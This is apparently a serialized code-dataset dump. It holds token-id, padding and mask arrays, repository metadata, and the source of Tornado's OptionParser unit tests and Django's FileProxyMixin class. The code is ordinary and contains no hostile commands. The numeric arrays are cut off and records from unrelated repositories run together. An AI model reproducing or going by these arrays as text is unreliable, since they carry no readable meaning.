32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
DreadPirateRobert/stock_visualiser
stock_visualiser_virtualenv/lib/python3.5/site-packages/tornado/test/options_test.py
18
10325
# -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function import datetime import os import sys from tornado.options import OptionParser, Error from tornado.util import basestring_type, PY3 from tornado.test.util import unittest if PY3: from io import StringIO else: from cStringIO import StringIO try: # py33+ from unittest import mock # type: ignore except ImportError: try: import mock # type: ignore except ImportError: mock = None class OptionsTest(unittest.TestCase): def test_parse_command_line(self): options = OptionParser() options.define("port", default=80) options.parse_command_line(["main.py", "--port=443"]) self.assertEqual(options.port, 443) def test_parse_config_file(self): options = OptionParser() options.define("port", default=80) options.define("username", default='foo') options.define("my_path") config_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "options_test.cfg") options.parse_config_file(config_path) self.assertEqual(options.port, 443) self.assertEqual(options.username, "李康") self.assertEqual(options.my_path, config_path) def test_parse_callbacks(self): options = OptionParser() self.called = False def callback(): self.called = True options.add_parse_callback(callback) # non-final parse doesn't run callbacks options.parse_command_line(["main.py"], final=False) self.assertFalse(self.called) # final parse does options.parse_command_line(["main.py"]) self.assertTrue(self.called) # callbacks can be run more than once on the same options # object if there are multiple final parses self.called = False options.parse_command_line(["main.py"]) self.assertTrue(self.called) def test_help(self): options = OptionParser() try: orig_stderr = sys.stderr sys.stderr = StringIO() with self.assertRaises(SystemExit): options.parse_command_line(["main.py", "--help"]) usage = sys.stderr.getvalue() finally: sys.stderr = orig_stderr self.assertIn("Usage:", usage) def test_subcommand(self): base_options = OptionParser() base_options.define("verbose", default=False) sub_options = OptionParser() sub_options.define("foo", type=str) rest = base_options.parse_command_line( ["main.py", "--verbose", "subcommand", "--foo=bar"]) self.assertEqual(rest, ["subcommand", "--foo=bar"]) self.assertTrue(base_options.verbose) rest2 = sub_options.parse_command_line(rest) self.assertEqual(rest2, []) self.assertEqual(sub_options.foo, "bar") # the two option sets are distinct try: orig_stderr = sys.stderr sys.stderr = StringIO() with self.assertRaises(Error): sub_options.parse_command_line(["subcommand", "--verbose"]) finally: sys.stderr = orig_stderr def test_setattr(self): options = OptionParser() options.define('foo', default=1, type=int) options.foo = 2 self.assertEqual(options.foo, 2) def test_setattr_type_check(self): # setattr requires that options be the right type and doesn't # parse from string formats. options = OptionParser() options.define('foo', default=1, type=int) with self.assertRaises(Error): options.foo = '2' def test_setattr_with_callback(self): values = [] options = OptionParser() options.define('foo', default=1, type=int, callback=values.append) options.foo = 2 self.assertEqual(values, [2]) def _sample_options(self): options = OptionParser() options.define('a', default=1) options.define('b', default=2) return options def test_iter(self): options = self._sample_options() # OptionParsers always define 'help'. self.assertEqual(set(['a', 'b', 'help']), set(iter(options))) def test_getitem(self): options = self._sample_options() self.assertEqual(1, options['a']) def test_setitem(self): options = OptionParser() options.define('foo', default=1, type=int) options['foo'] = 2 self.assertEqual(options['foo'], 2) def test_items(self): options = self._sample_options() # OptionParsers always define 'help'. expected = [('a', 1), ('b', 2), ('help', options.help)] actual = sorted(options.items()) self.assertEqual(expected, actual) def test_as_dict(self): options = self._sample_options() expected = {'a': 1, 'b': 2, 'help': options.help} self.assertEqual(expected, options.as_dict()) def test_group_dict(self): options = OptionParser() options.define('a', default=1) options.define('b', group='b_group', default=2) frame = sys._getframe(0) this_file = frame.f_code.co_filename self.assertEqual(set(['b_group', '', this_file]), options.groups()) b_group_dict = options.group_dict('b_group') self.assertEqual({'b': 2}, b_group_dict) self.assertEqual({}, options.group_dict('nonexistent')) @unittest.skipIf(mock is None, 'mock package not present') def test_mock_patch(self): # ensure that our setattr hooks don't interfere with mock.patch options = OptionParser() options.define('foo', default=1) options.parse_command_line(['main.py', '--foo=2']) self.assertEqual(options.foo, 2) with mock.patch.object(options.mockable(), 'foo', 3): self.assertEqual(options.foo, 3) self.assertEqual(options.foo, 2) # Try nested patches mixed with explicit sets with mock.patch.object(options.mockable(), 'foo', 4): self.assertEqual(options.foo, 4) options.foo = 5 self.assertEqual(options.foo, 5) with mock.patch.object(options.mockable(), 'foo', 6): self.assertEqual(options.foo, 6) self.assertEqual(options.foo, 5) self.assertEqual(options.foo, 2) def test_types(self): options = OptionParser() options.define('str', type=str) options.define('basestring', type=basestring_type) options.define('int', type=int) options.define('float', type=float) options.define('datetime', type=datetime.datetime) options.define('timedelta', type=datetime.timedelta) options.parse_command_line(['main.py', '--str=asdf', '--basestring=qwer', '--int=42', '--float=1.5', '--datetime=2013-04-28 05:16', '--timedelta=45s']) self.assertEqual(options.str, 'asdf') self.assertEqual(options.basestring, 'qwer') self.assertEqual(options.int, 42) self.assertEqual(options.float, 1.5) self.assertEqual(options.datetime, datetime.datetime(2013, 4, 28, 5, 16)) self.assertEqual(options.timedelta, datetime.timedelta(seconds=45)) def test_multiple_string(self): options = OptionParser() options.define('foo', type=str, multiple=True) options.parse_command_line(['main.py', '--foo=a,b,c']) self.assertEqual(options.foo, ['a', 'b', 'c']) def test_multiple_int(self): options = OptionParser() options.define('foo', type=int, multiple=True) options.parse_command_line(['main.py', '--foo=1,3,5:7']) self.assertEqual(options.foo, [1, 3, 5, 6, 7]) def test_error_redefine(self): options = OptionParser() options.define('foo') with self.assertRaises(Error) as cm: options.define('foo') self.assertRegexpMatches(str(cm.exception), 'Option.*foo.*already defined') def test_dash_underscore_cli(self): # Dashes and underscores should be interchangeable. for defined_name in ['foo-bar', 'foo_bar']: for flag in ['--foo-bar=a', '--foo_bar=a']: options = OptionParser() options.define(defined_name) options.parse_command_line(['main.py', flag]) # Attr-style access always uses underscores. self.assertEqual(options.foo_bar, 'a') # Dict-style access allows both. self.assertEqual(options['foo-bar'], 'a') self.assertEqual(options['foo_bar'], 'a') def test_dash_underscore_file(self): # No matter how an option was defined, it can be set with underscores # in a config file. for defined_name in ['foo-bar', 'foo_bar']: options = OptionParser() options.define(defined_name) options.parse_config_file(os.path.join(os.path.dirname(__file__), "options_test.cfg")) self.assertEqual(options.foo_bar, 'a') def test_dash_underscore_introspection(self): # Original names are preserved in introspection APIs. options = OptionParser() options.define('with-dash', group='g') options.define('with_underscore', group='g') all_options = ['help', 'with-dash', 'with_underscore'] self.assertEqual(sorted(options), all_options) self.assertEqual(sorted(k for (k, v) in options.items()), all_options) self.assertEqual(sorted(options.as_dict().keys()), all_options) self.assertEqual(sorted(options.group_dict('g')), ['with-dash', 'with_underscore']) # --help shows CLI-style names with dashes. buf = StringIO() options.print_help(buf) self.assertIn('--with-dash', buf.getvalue()) self.assertIn('--with-underscore', buf.getvalue())
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 199, 646, 2197, 199, 646, 747, 199, 646, 984, 199, 199, 504, 12148, 14, 1419, 492, 13491, 12, 4520, 199, 504, 12148, 14, 1974, 492, 7116, 63, 466, 12, 7843, 19, 199, 504, 12148, 14, 396, 14, 1974, 492, 2882, 199, 199, 692, 7843, 19, 26, 272, 687, 5890, 492, 5228, 199, 2836, 26, 272, 687, 15073, 492, 5228, 199, 199, 893, 26, 272, 327, 1134, 1153, 11, 272, 687, 2882, 492, 1683, 221, 327, 730, 26, 3686, 199, 2590, 3545, 26, 272, 862, 26, 267, 492, 1683, 221, 327, 730, 26, 3686, 272, 871, 3545, 26, 267, 1683, 275, 488, 421, 199, 533, 8394, 774, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 1122, 63, 1531, 63, 604, 8, 277, 304, 267, 1511, 275, 13491, 342, 267, 1511, 14, 4640, 480, 719, 401, 849, 29, 1257, 9, 267, 1511, 14, 1122, 63, 1531, 63, 604, 5234, 973, 14, 647, 401, 4320, 719, 29, 16284, 3135, 267, 291, 14, 629, 8, 1419, 14, 719, 12, 23865, 9, 339, 347, 511, 63, 1122, 63, 888, 63, 493, 8, 277, 304, 267, 1511, 275, 13491, 342, 267, 1511, 14, 4640, 480, 719, 401, 849, 29, 1257, 9, 267, 1511, 14, 4640, 480, 2473, 401, 849, 534, 1421, 358, 267, 1511, 14, 4640, 480, 1662, 63, 515, 531, 267, 1101, 63, 515, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 4832, 3460, 493, 22159, 3521, 298, 1419, 63, 396, 14, 4128, 531, 267, 1511, 14, 1122, 63, 888, 63, 493, 8, 888, 63, 515, 9, 267, 291, 14, 629, 8, 1419, 14, 719, 12, 23865, 9, 267, 291, 14, 629, 8, 1419, 14, 2473, 12, 298, 15771, 237, 15013, 116, 531, 267, 291, 14, 629, 8, 1419, 14, 1662, 63, 515, 12, 1101, 63, 515, 9, 339, 347, 511, 63, 1122, 63, 11948, 8, 277, 304, 267, 1511, 275, 13491, 342, 267, 291, 14, 3527, 275, 756, 398, 347, 3233, 837, 288, 291, 14, 3527, 275, 715, 267, 1511, 14, 525, 63, 1122, 63, 3058, 8, 3058, 9, 398, 327, 2222, 13, 5094, 2198, 3181, 1133, 1255, 13484, 267, 1511, 14, 1122, 63, 1531, 63, 604, 5234, 973, 14, 647, 2255, 4242, 29, 797, 9, 267, 291, 14, 3334, 8, 277, 14, 3527, 9, 398, 327, 4242, 2198, 1630, 267, 1511, 14, 1122, 63, 1531, 63, 604, 5234, 973, 14, 647, 3135, 267, 291, 14, 1815, 8, 277, 14, 3527, 9, 398, 327, 13484, 883, 506, 1255, 1655, 2419, 5403, 641, 314, 2011, 1511, 267, 327, 909, 340, 2337, 787, 3663, 4242, 19953, 267, 291, 14, 3527, 275, 756, 267, 1511, 14, 1122, 63, 1531, 63, 604, 5234, 973, 14, 647, 3135, 267, 291, 14, 1815, 8, 277, 14, 3527, 9, 339, 347, 511, 63, 3437, 8, 277, 304, 267, 1511, 275, 13491, 342, 267, 862, 26, 288, 2306, 63, 3083, 275, 984, 14, 3083, 288, 984, 14, 3083, 275, 5228, 342, 288, 543, 291, 14, 1855, 8, 24738, 304, 355, 1511, 14, 1122, 63, 1531, 63, 604, 5234, 973, 14, 647, 401, 4320, 3437, 3135, 288, 4503, 275, 984, 14, 3083, 14, 7150, 342, 267, 3753, 26, 288, 984, 14, 3083, 275, 2306, 63, 3083, 267, 291, 14, 4080, 480, 7692, 6783, 4503, 9, 339, 347, 511, 63, 954, 1531, 8, 277, 304, 267, 1300, 63, 1419, 275, 13491, 342, 267, 1300, 63, 1419, 14, 4640, 480, 3832, 401, 849, 29, 797, 9, 267, 1007, 63, 1419, 275, 13491, 342, 267, 1007, 63, 1419, 14, 4640, 480, 1421, 401, 730, 29, 495, 9, 267, 4618, 275, 1300, 63, 1419, 14, 1122, 63, 1531, 63, 604, 8, 288, 2097, 973, 14, 647, 401, 4320, 3832, 401, 298, 954, 1531, 401, 4320, 1421, 29, 1700, 3135, 267, 291, 14, 629, 8, 3911, 12, 2097, 954, 1531, 401, 4320, 1421, 29, 1700, 3135, 267, 291, 14, 1815, 8, 1095, 63, 1419, 14, 3832, 9, 267, 4618, 18, 275, 1007, 63, 1419, 14, 1122, 63, 1531, 63, 604, 8, 3911, 9, 267, 291, 14, 629, 8, 3911, 18, 12, 3073, 267, 291, 14, 629, 8, 954, 63, 1419, 14, 1421, 12, 298, 1700, 531, 398, 327, 314, 2877, 945, 5951, 787, 15392, 267, 862, 26, 288, 2306, 63, 3083, 275, 984, 14, 3083, 288, 984, 14, 3083, 275, 5228, 342, 288, 543, 291, 14, 1855, 8, 547, 304, 355, 1007, 63, 1419, 14, 1122, 63, 1531, 63, 604, 5234, 954, 1531, 401, 4320, 3832, 3135, 267, 3753, 26, 288, 984, 14, 3083, 275, 2306, 63, 3083, 339, 347, 511, 63, 10202, 8, 277, 304, 267, 1511, 275, 13491, 342, 267, 1511, 14, 4640, 360, 1421, 297, 849, 29, 17, 12, 730, 29, 442, 9, 267, 1511, 14, 1421, 275, 499, 267, 291, 14, 629, 8, 1419, 14, 1421, 12, 499, 9, 339, 347, 511, 63, 10202, 63, 466, 63, 1074, 8, 277, 304, 267, 327, 5371, 5074, 626, 1511, 506, 314, 2451, 730, 436, 3181, 1133, 267, 327, 2198, 687, 1059, 6752, 14, 267, 1511, 275, 13491, 342, 267, 1511, 14, 4640, 360, 1421, 297, 849, 29, 17, 12, 730, 29, 442, 9, 267, 543, 291, 14, 1855, 8, 547, 304, 288, 1511, 14, 1421, 275, 283, 18, 7, 339, 347, 511, 63, 10202, 63, 1045, 63, 3058, 8, 277, 304, 267, 1338, 275, 942, 267, 1511, 275, 13491, 342, 267, 1511, 14, 4640, 360, 1421, 297, 849, 29, 17, 12, 730, 29, 442, 12, 3233, 29, 1459, 14, 740, 9, 267, 1511, 14, 1421, 275, 499, 267, 291, 14, 629, 8, 1459, 12, 359, 18, 566, 339, 347, 485, 3271, 63, 1419, 8, 277, 304, 267, 1511, 275, 13491, 342, 267, 1511, 14, 4640, 360, 65, 297, 849, 29, 17, 9, 267, 1511, 14, 4640, 360, 66, 297, 849, 29, 18, 9, 267, 372, 1511, 339, 347, 511, 63, 1661, 8, 277, 304, 267, 1511, 275, 291, 423, 3271, 63, 1419, 342, 267, 327, 13491, 83, 3544, 5627, 283, 3437, 1370, 267, 291, 14, 629, 8, 409, 2941, 65, 297, 283, 66, 297, 283, 3437 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 199, 646, 2197, 199, 646, 747, 199, 646, 984, 199, 199, 504, 12148, 14, 1419, 492, 13491, 12, 4520, 199, 504, 12148, 14, 1974, 492, 7116, 63, 466, 12, 7843, 19, 199, 504, 12148, 14, 396, 14, 1974, 492, 2882, 199, 199, 692, 7843, 19, 26, 272, 687, 5890, 492, 5228, 199, 2836, 26, 272, 687, 15073, 492, 5228, 199, 199, 893, 26, 272, 327, 1134, 1153, 11, 272, 687, 2882, 492, 1683, 221, 327, 730, 26, 3686, 199, 2590, 3545, 26, 272, 862, 26, 267, 492, 1683, 221, 327, 730, 26, 3686, 272, 871, 3545, 26, 267, 1683, 275, 488, 421, 199, 533, 8394, 774, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 1122, 63, 1531, 63, 604, 8, 277, 304, 267, 1511, 275, 13491, 342, 267, 1511, 14, 4640, 480, 719, 401, 849, 29, 1257, 9, 267, 1511, 14, 1122, 63, 1531, 63, 604, 5234, 973, 14, 647, 401, 4320, 719, 29, 16284, 3135, 267, 291, 14, 629, 8, 1419, 14, 719, 12, 23865, 9, 339, 347, 511, 63, 1122, 63, 888, 63, 493, 8, 277, 304, 267, 1511, 275, 13491, 342, 267, 1511, 14, 4640, 480, 719, 401, 849, 29, 1257, 9, 267, 1511, 14, 4640, 480, 2473, 401, 849, 534, 1421, 358, 267, 1511, 14, 4640, 480, 1662, 63, 515, 531, 267, 1101, 63, 515, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 4832, 3460, 493, 22159, 3521, 298, 1419, 63, 396, 14, 4128, 531, 267, 1511, 14, 1122, 63, 888, 63, 493, 8, 888, 63, 515, 9, 267, 291, 14, 629, 8, 1419, 14, 719, 12, 23865, 9, 267, 291, 14, 629, 8, 1419, 14, 2473, 12, 298, 15771, 237, 15013, 116, 531, 267, 291, 14, 629, 8, 1419, 14, 1662, 63, 515, 12, 1101, 63, 515, 9, 339, 347, 511, 63, 1122, 63, 11948, 8, 277, 304, 267, 1511, 275, 13491, 342, 267, 291, 14, 3527, 275, 756, 398, 347, 3233, 837, 288, 291, 14, 3527, 275, 715, 267, 1511, 14, 525, 63, 1122, 63, 3058, 8, 3058, 9, 398, 327, 2222, 13, 5094, 2198, 3181, 1133, 1255, 13484, 267, 1511, 14, 1122, 63, 1531, 63, 604, 5234, 973, 14, 647, 2255, 4242, 29, 797, 9, 267, 291, 14, 3334, 8, 277, 14, 3527, 9, 398, 327, 4242, 2198, 1630, 267, 1511, 14, 1122, 63, 1531, 63, 604, 5234, 973, 14, 647, 3135, 267, 291, 14, 1815, 8, 277, 14, 3527, 9, 398, 327, 13484, 883, 506, 1255, 1655, 2419, 5403, 641, 314, 2011, 1511, 267, 327, 909, 340, 2337, 787, 3663, 4242, 19953, 267, 291, 14, 3527, 275, 756, 267, 1511, 14, 1122, 63, 1531, 63, 604, 5234, 973, 14, 647, 3135, 267, 291, 14, 1815, 8, 277, 14, 3527, 9, 339, 347, 511, 63, 3437, 8, 277, 304, 267, 1511, 275, 13491, 342, 267, 862, 26, 288, 2306, 63, 3083, 275, 984, 14, 3083, 288, 984, 14, 3083, 275, 5228, 342, 288, 543, 291, 14, 1855, 8, 24738, 304, 355, 1511, 14, 1122, 63, 1531, 63, 604, 5234, 973, 14, 647, 401, 4320, 3437, 3135, 288, 4503, 275, 984, 14, 3083, 14, 7150, 342, 267, 3753, 26, 288, 984, 14, 3083, 275, 2306, 63, 3083, 267, 291, 14, 4080, 480, 7692, 6783, 4503, 9, 339, 347, 511, 63, 954, 1531, 8, 277, 304, 267, 1300, 63, 1419, 275, 13491, 342, 267, 1300, 63, 1419, 14, 4640, 480, 3832, 401, 849, 29, 797, 9, 267, 1007, 63, 1419, 275, 13491, 342, 267, 1007, 63, 1419, 14, 4640, 480, 1421, 401, 730, 29, 495, 9, 267, 4618, 275, 1300, 63, 1419, 14, 1122, 63, 1531, 63, 604, 8, 288, 2097, 973, 14, 647, 401, 4320, 3832, 401, 298, 954, 1531, 401, 4320, 1421, 29, 1700, 3135, 267, 291, 14, 629, 8, 3911, 12, 2097, 954, 1531, 401, 4320, 1421, 29, 1700, 3135, 267, 291, 14, 1815, 8, 1095, 63, 1419, 14, 3832, 9, 267, 4618, 18, 275, 1007, 63, 1419, 14, 1122, 63, 1531, 63, 604, 8, 3911, 9, 267, 291, 14, 629, 8, 3911, 18, 12, 3073, 267, 291, 14, 629, 8, 954, 63, 1419, 14, 1421, 12, 298, 1700, 531, 398, 327, 314, 2877, 945, 5951, 787, 15392, 267, 862, 26, 288, 2306, 63, 3083, 275, 984, 14, 3083, 288, 984, 14, 3083, 275, 5228, 342, 288, 543, 291, 14, 1855, 8, 547, 304, 355, 1007, 63, 1419, 14, 1122, 63, 1531, 63, 604, 5234, 954, 1531, 401, 4320, 3832, 3135, 267, 3753, 26, 288, 984, 14, 3083, 275, 2306, 63, 3083, 339, 347, 511, 63, 10202, 8, 277, 304, 267, 1511, 275, 13491, 342, 267, 1511, 14, 4640, 360, 1421, 297, 849, 29, 17, 12, 730, 29, 442, 9, 267, 1511, 14, 1421, 275, 499, 267, 291, 14, 629, 8, 1419, 14, 1421, 12, 499, 9, 339, 347, 511, 63, 10202, 63, 466, 63, 1074, 8, 277, 304, 267, 327, 5371, 5074, 626, 1511, 506, 314, 2451, 730, 436, 3181, 1133, 267, 327, 2198, 687, 1059, 6752, 14, 267, 1511, 275, 13491, 342, 267, 1511, 14, 4640, 360, 1421, 297, 849, 29, 17, 12, 730, 29, 442, 9, 267, 543, 291, 14, 1855, 8, 547, 304, 288, 1511, 14, 1421, 275, 283, 18, 7, 339, 347, 511, 63, 10202, 63, 1045, 63, 3058, 8, 277, 304, 267, 1338, 275, 942, 267, 1511, 275, 13491, 342, 267, 1511, 14, 4640, 360, 1421, 297, 849, 29, 17, 12, 730, 29, 442, 12, 3233, 29, 1459, 14, 740, 9, 267, 1511, 14, 1421, 275, 499, 267, 291, 14, 629, 8, 1459, 12, 359, 18, 566, 339, 347, 485, 3271, 63, 1419, 8, 277, 304, 267, 1511, 275, 13491, 342, 267, 1511, 14, 4640, 360, 65, 297, 849, 29, 17, 9, 267, 1511, 14, 4640, 360, 66, 297, 849, 29, 18, 9, 267, 372, 1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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kartikdhar/djangotest
virt1/lib/python2.7/site-packages/django/core/files/utils.py
901
1230
class FileProxyMixin(object): """ A mixin class used to forward file methods to an underlaying file object. The internal file object has to be called "file":: class FileProxy(FileProxyMixin): def __init__(self, file): self.file = file """ encoding = property(lambda self: self.file.encoding) fileno = property(lambda self: self.file.fileno) flush = property(lambda self: self.file.flush) isatty = property(lambda self: self.file.isatty) newlines = property(lambda self: self.file.newlines) read = property(lambda self: self.file.read) readinto = property(lambda self: self.file.readinto) readline = property(lambda self: self.file.readline) readlines = property(lambda self: self.file.readlines) seek = property(lambda self: self.file.seek) softspace = property(lambda self: self.file.softspace) tell = property(lambda self: self.file.tell) truncate = property(lambda self: self.file.truncate) write = property(lambda self: self.file.write) writelines = property(lambda self: self.file.writelines) xreadlines = property(lambda self: self.file.xreadlines) def __iter__(self): return iter(self.file)
mit
[ 533, 3814, 4936, 4256, 8, 785, 304, 272, 408, 272, 437, 20048, 1021, 1202, 370, 7568, 570, 3102, 370, 376, 1334, 817, 316, 570, 272, 909, 14, 221, 710, 5007, 570, 909, 965, 370, 506, 2797, 298, 493, 2, 447, 398, 1021, 3814, 4936, 8, 1173, 4936, 4256, 304, 288, 347, 636, 826, 721, 277, 12, 570, 304, 355, 291, 14, 493, 275, 570, 272, 408, 339, 2644, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 2991, 9, 272, 25255, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 9843, 9, 272, 8976, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 4939, 9, 272, 365, 16623, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 21122, 9, 272, 14930, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 13839, 9, 272, 1586, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 739, 9, 272, 1586, 9924, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 739, 9924, 9, 272, 14441, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 6407, 9, 272, 1586, 1278, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 9684, 9, 272, 12005, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 5507, 9, 272, 11620, 2638, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 4617, 2638, 9, 272, 11480, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 9974, 9, 272, 14547, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 12517, 9, 272, 2218, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 952, 9, 272, 2218, 1278, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 23277, 9, 272, 671, 9684, 275, 3324, 8, 2734, 291, 26, 291, 14, 493, 14, 88, 9684, 9, 339, 347, 636, 1661, 721, 277, 304, 267, 372, 2740, 8, 277, 14, 493, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 